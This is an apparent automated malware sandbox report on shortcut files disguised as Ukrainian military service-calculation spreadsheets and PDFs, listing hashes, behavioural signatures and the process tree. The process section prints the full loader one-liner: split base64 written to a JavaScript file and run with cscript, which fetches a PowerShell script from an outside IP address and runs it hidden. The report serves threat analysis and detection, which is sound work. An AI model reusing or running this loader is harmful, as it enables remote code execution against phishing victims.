Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
19/08/2026, 19:48
Static task
static1
Behavioral task
behavioral1
Sample
Rozrakhunok_vysluha_viskovosluzhbovtsia.xlsx.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
Rozrakhunok_vysluha_viskovosluzhbovtsia.xlsx.lnk
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral3
Sample
VYTIaH_iz_nakaza_rozrakhunok_vysluhy_viskovosluzhbovtsia.pdf.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral4
Sample
VYTIaH_iz_nakaza_rozrakhunok_vysluhy_viskovosluzhbovtsia.pdf.lnk
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral5
Sample
VYTIaH_iz_osoboviy_spravy_viskovosluzhbovtsia.pdf.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral6
Sample
VYTIaH_iz_osoboviy_spravy_viskovosluzhbovtsia.pdf.lnk
Resource
win11ltsc2024-20260710-en
General
- Target Rozrakhunok_vysluha_viskovosluzhbovtsia.xlsx.lnk
- Size 33KB
- Sample260819-yjgbysvtbz
- SHA256 93a0e97a4e620d1ed4bb07c2863823787e433f8a032d1851bb8dcd9711bb3f00
- MD5 6ba07ca28bc017be3298ef48e202ddbe
- SHA1 ee42437e6a8848acc4ca0667bd32629d17820da1
- SHA512 96519e6c02050988323b8d6bad299b96ae9cd7fdf88a7f1914bc0bf4851e9ad6f9989131d51fbaa21129a42e6e87f130edb56a082f8f918c599a139ce35a9d4d
- SSDEEP 24:8d/TbPfCDx9RlYaInZNIdbxWNl7DBEpmJMrGvlxPlpYZ+3W9M+ZJmMfMS8Mg:8lHPKDx9jYT8dVSRNE+MC9bAZ90C8D
- TLSH T114E2F42432F54089F1F3EF366DF9B6D55DEBB76276614199008346094910D00ED6973B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 3 4700 cscript.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation cmd.exe -
pid Process 3040 powershell.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4912 cmd.exe 2264 cmd.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3040 powershell.exe 3040 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3040 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4912 wrote to memory of 2264 4912 cmd.exe 87 PID 2264 wrote to memory of 3040 2264 cmd.exe 88 PID 2264 wrote to memory of 4700 2264 cmd.exe 89
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Rozrakhunok_vysluha_viskovosluzhbovtsia.xlsx.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4912 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "pushd C:\Users\Admin\AppData\Local\Temp && powershell -NoP -C "$a='dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS44Mi4xMjcuMTYvZG52MXNsMi9wcm93c';$b='2hhbWUucHMxIixmYWxzZSk7aC5zZXRSZXF1ZXN0SGVhZGVyKCJVc2VyLUFnZW50IiwiVUEgV2luZG93c1Bvd2VyU2hlbGwiKTtoLnNlbmQoKTtuZXcgQWN0aXZlWE9iamVjdC';$c='giU2hlbGwuQXBwbGljYXRpb24iKS5TaGVsbEV4ZWN1dGUoInBvd2Vyc2hlbGwuZXhlIiwiLU5vUCAtVyBIaWRkZW4gLUMgIitoLnJlc3BvbnNlVGV4dCwiIiwib3BlbiIsMCk7';[IO.File]::WriteAllBytes('NDWZd.js',[Convert]::FromBase64String($a+$b+$c))" && cscript //nologo //b NDWZd.js && del NDWZd.js"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2264 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -C "$a='dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS44Mi4xMjcuMTYvZG52MXNsMi9wcm93c';$b='2hhbWUucHMxIixmYWxzZSk7aC5zZXRSZXF1ZXN0SGVhZGVyKCJVc2VyLUFnZW50IiwiVUEgV2luZG93c1Bvd2VyU2hlbGwiKTtoLnNlbmQoKTtuZXcgQWN0aXZlWE9iamVjdC';$c='giU2hlbGwuQXBwbGljYXRpb24iKS5TaGVsbEV4ZWN1dGUoInBvd2Vyc2hlbGwuZXhlIiwiLU5vUCAtVyBIaWRkZW4gLUMgIitoLnJlc3BvbnNlVGV4dCwiIiwib3BlbiIsMCk7';[IO.File]::WriteAllBytes('NDWZd.js',[Convert]::FromBase64String($a+$b+$c))"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3040
-
-
C:\Windows\system32\cscript.execscript //nologo //b NDWZd.js3⤵
- Badlisted process makes network request
PID:4700
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\NDWZd.js
- Size 300B
- SHA256 4bfae900379dd015d6b36e9e43ecc0616080868db541b5da636a18e42253942d
- MD5 cdf66db939cb39ed5652e4b64286c4f3
- SHA1 d841de814187856fea0b3e6394783c9e17c29895
- SHA512 b5dd6d93f71e9f11711fc46d672fceb3cfbeb784afae66dbbdbc4d11227fb46738f95c9cc479b88242892c899b1b967eaf5d966417c1b8d6456767b548acf6c2
- TLSH T181E072A48038B1DD20CA9FECA024E7A042DB80A0B002A8EFF788CAD43862204124D28E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fpzckkr4.pje.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH